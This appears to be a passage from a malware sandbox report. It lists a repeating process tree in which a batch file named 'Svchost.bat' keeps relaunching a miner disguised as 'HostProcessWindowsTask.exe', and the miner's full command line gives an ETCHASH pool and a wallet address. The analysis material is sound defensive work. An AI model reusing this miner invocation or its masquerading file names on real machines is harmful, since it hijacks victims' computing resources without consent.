      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6692
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7540
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8108
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7832
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7472
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7780
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7716
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7420
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1428
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64 --nocolor
      4⤵
      PID:8216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7792
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1428
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8452
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2256
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8952
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9120
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8644
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8976
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8804
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6176
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3816
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8104
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:8048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4108
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8636
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4880
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4192
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4876
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1216
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1216
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7120
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:864
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6888
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:9756
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9248
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9400
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3872
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9728
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10048
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:10076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:10100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9332
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9764
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6308
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
